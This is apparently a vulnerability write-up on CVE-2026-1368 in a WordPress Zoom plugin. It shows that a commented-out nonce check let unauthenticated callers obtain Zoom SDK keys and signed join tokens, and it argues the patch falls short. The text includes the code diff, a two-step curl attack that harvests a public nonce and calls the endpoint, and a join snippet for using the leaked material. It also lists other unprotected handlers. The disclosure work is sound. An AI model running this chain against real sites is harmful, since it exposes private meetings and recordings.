The fix was in the source. Two characters held it back.
The plugin is published by Codemanas as video-conferencing-with-zoom-api. It connects a WordPress site to a Zoom account so the site operator can run meetings, webinars, and recordings under their Zoom subscription, often gated behind paywalls or course logins. The function header on get_auth attributes the code to @author Deepen Bajracharya and dates it @since 3.2.0. The plugin currently ships at 4.6.6. The line the patch uncomments has been in the file long enough to have lived through a multi-year version history.
The diff:
--- a/includes/admin/class-zvc-admin-ajax.php
+++ b/includes/admin/class-zvc-admin-ajax.php
@@ -163,7 +163,7 @@
* @author Deepen Bajracharya
*/
public function get_auth() {
-// check_ajax_referer( '_nonce_zvc_security', 'noncce' );
+ check_ajax_referer( '_nonce_zvc_security', 'noncce' );
$meeting_id = filter_input( INPUT_POST, 'meeting_id' );
if ( vczapi_is_sdk_enabled() ) {
The same file contains six other check_ajax_referer calls. Five of them name their POST parameter 'security'. The line that just got uncommented names its parameter 'noncce', with two c's. A few lines down, state_change's nonce parameter is 'accss', missing an e. Both spellings are wrong, both ship, and the patch leaves both wrong.
The minified WebSDK bundle the plugin ships agrees with the typo. It POSTs the form field noncce because that is what the handler expects. Both sides of the call match the typo. Whoever could have noticed has not.
That detail sets the frame for the rest of this case. The control was always written. The line was always in the file. What shipped was the choice not to enforce it, then a multi-year version run during which nobody read the function closely enough to fix the comment markers or the parameter name they were both wrong about. This is the todo-that-shipped shape, with a twist the catalog has not seen before: the named control is not a comment naming a never-coded fix; it is the fix itself, written in code, with two characters of comment marker in front of it.
What an unauthenticated caller gets back.
The full handler:
public function get_auth() {
// check_ajax_referer( '_nonce_zvc_security', 'noncce' );
$meeting_id = filter_input( INPUT_POST, 'meeting_id' );
if ( vczapi_is_sdk_enabled() ) {
$sdk_key = get_option( 'vczapi_sdk_key' );
$secret_key = get_option( 'vczapi_sdk_secret_key' );
$signature = $this->generate_sdk_signature( $sdk_key, $secret_key, $meeting_id, 0 );
wp_send_json_success( [ 'sig' => $signature, 'key' => $sdk_key, 'type' => 'sdk' ] );
} else {
wp_send_json_error( 'Error occured!' );
}
wp_die();
}
The caller controls meeting_id. The two get_option calls reach into wp_options for the customer's Zoom Meeting SDK credentials, the key and the secret that the WordPress administrator pasted into the plugin's settings page when they connected the site to their Zoom account. The handler signs a JWT with those credentials and writes both the JWT and the SDK key into the JSON response.
The signing routine, with role hardcoded by the call site:
private function generate_sdk_signature( $sdk_key, $secret_key, $meeting_number, $role ) {
$iat = round( ( time() * 1000 - 30000 ) / 1000 );
$exp = $iat + 86400;
$payload = [
'sdkKey' => $sdk_key,
'mn' => $meeting_number,
'role' => $role,
'iat' => $iat,
'exp' => $exp,
'appKey' => $sdk_key,
'tokenExp' => $exp,
];
return \Firebase\JWT\JWT::encode( $payload, $secret_key, 'HS256' );
}
role is 0 because the call site passes 0; that is the participant role, and the host role 1 is not exposed by this handler. mn (meeting number) is whatever the caller passed. The token is valid for 24 hours. The HS256 signature is computed with the customer's secret SDK key.
The pair Zoom's Meeting Web SDK uses to join a meeting from a browser is exactly the pair this response delivers:
ZoomMtg.join({
sdkKey: response.data.key,
signature: response.data.sig,
meetingNumber: chosenMeetingId,
userName: "Guest",
userEmail: "[email protected]",
});
Nothing more is required at the join boundary. The SDK key identifies the customer to Zoom. The JWT was signed with the customer's secret. The meeting number names the room. All three were just delivered to the caller in a single response. Any meeting hosted on that Zoom account, given a meeting ID, is now reachable by any unauthenticated caller. The PoC does the request and stops; joining the meeting is the next browser frame.
The patched function answers the same requests from the same callers.
After the patch, get_auth requires a noncce field that survives check_ajax_referer. The minified Web SDK bundle the plugin ships at assets/vendor/zoom/websdk/zoom-meeting.bundle.js has a function that produces exactly that POST:
generateSignature: async function () {
const e = new FormData;
e.append("action", "get_auth");
e.append("noncce", zvc_ajx.zvc_security);
e.append("meeting_id", parseInt(this.meetingID));
return (await fetch(zvc_ajx.ajaxurl, { method: "POST", body: e })).json();
}
zvc_ajx.zvc_security is a JavaScript variable. It is set from wp_localize_script on the server side, in includes/template-functions.php:
$localize = array(
'ajaxurl' => admin_url( 'admin-ajax.php' ),
'zvc_security' => wp_create_nonce( "_nonce_zvc_security" ),
'meeting_id' => $meeting_id,
...
);
That wp_localize_script call runs inside video_conference_zoom_after_jbh_html, the function that renders the plugin's join-via-browser page. The page exists so that a participant who clicks a Zoom link can join a meeting in their browser without the desktop client. It is the capability the plugin's product description leads with. The page is publicly served. Unauthenticated visitors are the page's intended audience.
When an unauthenticated visitor loads the page, WordPress emits the localized data inline:
<script>
var zvc_ajx = {"ajaxurl":"https://example.com/wp-admin/admin-ajax.php","zvc_security":"a3b8e1f9c4",...};
</script>
The post-patch attack:
# 1. Load any join-via-browser page on the site.
NONCE=$(curl -s "https://target.example/zoom-join/?join=anything" \
| grep -oE 'zvc_security":"[a-f0-9]+"' \
| cut -d'"' -f3)
# 2. Use the harvested nonce to call the patched endpoint.
curl -s "https://target.example/wp-admin/admin-ajax.php" \
-d "action=get_auth&noncce=$NONCE&meeting_id=87123456789"
# => {"success":true,"data":{"sig":"eyJ...","key":"AbC123...","type":"sdk"}}
Step 2 was the pre-patch attack. The post-patch attack is step 1 followed by step 2.
check_ajax_referer confirmed that the request bearing this nonce was minted on this site within the last 24 hours. WordPress provides separate functions for the questions check_ajax_referer does not answer: is_user_logged_in() for whether anyone is authenticated, current_user_can() for whether they have permission to do the operation. Neither is called in get_auth, before the patch or after. The CSRF token confirms the attacker could load a page on the site. The page exists for the attacker to load.
This is nonce-is-not-auth. The catalog has it. The Pix for WooCommerce CVE in pix-woocommerce-nonce-is-not-auth walked the same chain in a different plugin: wp_ajax_nopriv_ registration, nonce-only gate, harvested nonce from a peer page, privileged action at the end of the chain. The shape transfers; only the privilege at the end of the chain changes. There the privilege was a file write into the webroot and a path to PHP execution. Here it is the issuance of valid authentication material for a third-party SaaS. Same architectural slot, same gate, same misreading of what the gate verifies.
Six handlers in this plugin are registered for unauthenticated callers. The CVE names one.
$ grep -rn "wp_ajax_nopriv_" includes/
includes/admin/class-zvc-admin-ajax.php:19: add_action( 'wp_ajax_nopriv_get_auth', ... );
includes/admin/class-zvc-admin-ajax.php:23: add_action( 'wp_ajax_nopriv_state_change', ... );
includes/Shortcodes/Meetings.php:35: add_action( 'wp_ajax_nopriv_vczapi_list_meeting_shortcode_ajax_handler', ... );
includes/Shortcodes/Recordings.php:31: add_action( 'wp_ajax_nopriv_get_recording', ... );
includes/Shortcodes/Recordings.php:35: add_action( 'wp_ajax_nopriv_getRecordingByMeetingID', ... );
includes/Timezone.php:35: add_action( 'wp_ajax_nopriv_set_timezone', ... );
Six. The patch addresses one. get_auth and state_change call check_ajax_referer after 4.6.6. The other four (list_meeting_ajax_handler, get_recordings, getRecordingsByMeetingID, set_timezone) call neither check_ajax_referer nor current_user_can in their handler bodies.
get_recordings is representative:
public function get_recordings() {
$meeting_id = filter_input( INPUT_GET, 'recording_id' );
$downloadable = filter_input( INPUT_GET, 'downloadable' );
if ( ! empty( $meeting_id ) ) {
ob_start();
?>
<div class="vczapi-modal-content">
...
<?php
$recording = json_decode( zoom_conference()->recordingsByMeeting( $meeting_id ) );
recordingsByMeeting calls Zoom's API for the metadata and download URLs of every recording attached to the supplied meeting. The handler runs that call against any meeting ID a wp_ajax_nopriv_ caller submits. There is no nonce check, no capability check, nothing. The CVE the WPScan submitter happened to file was get_auth. The codebase has more.
The plugin's changelog has prior entries that match the same shape. From 3.8.17, February 2022: Fix: Ajax authorization permission issue - suggested by WPScan. From 4.6.6: Security Fix: Patched get_auth ajax handler. Two security fixes shipped against the same handler-registration discipline, four years apart, against the same attack surface. The 2022 fix did not audit the codebase. Neither did the 2026 one. The next one will not either, unless the architecture changes.
The fix was already written.
This is todo-that-shipped at its strictest. The patterns catalog distinguishes the case where a comment names a control that was never coded from the case where the control IS the comment. The code shipped here is the second case, in its purest form: someone wrote check_ajax_referer, someone added // in front of it, the result shipped, the result kept shipping across at least seventeen point releases, and the diff that closed the CVE removed the two characters that were stopping the line from running. The fix was in the source the whole time. The patch is the absence of two characters somebody at some point typed.
The CVE description at NVD will say the handler had disabled nonce verification. Disabled is doing work in that sentence. It implies a deliberate act, a setting flipped. The artifact in the repository is a comment marker. Somebody, at some point, prefixed two slashes to a working line. Whether that person was the original author shipping a development affordance, or a maintainer triaging a test failure by silencing the call, is not in the file. What is in the file is that the line stayed commented across versions while the JS bundle that calls the endpoint kept passing the field name the comment was guarding, and nobody who could have noticed did.
PoC: projectdiscovery/nuclei-templates http/cves/2026/CVE-2026-1368.yaml
The patch closes this CVE. It does not close this bug. The chain gained one HTTP GET.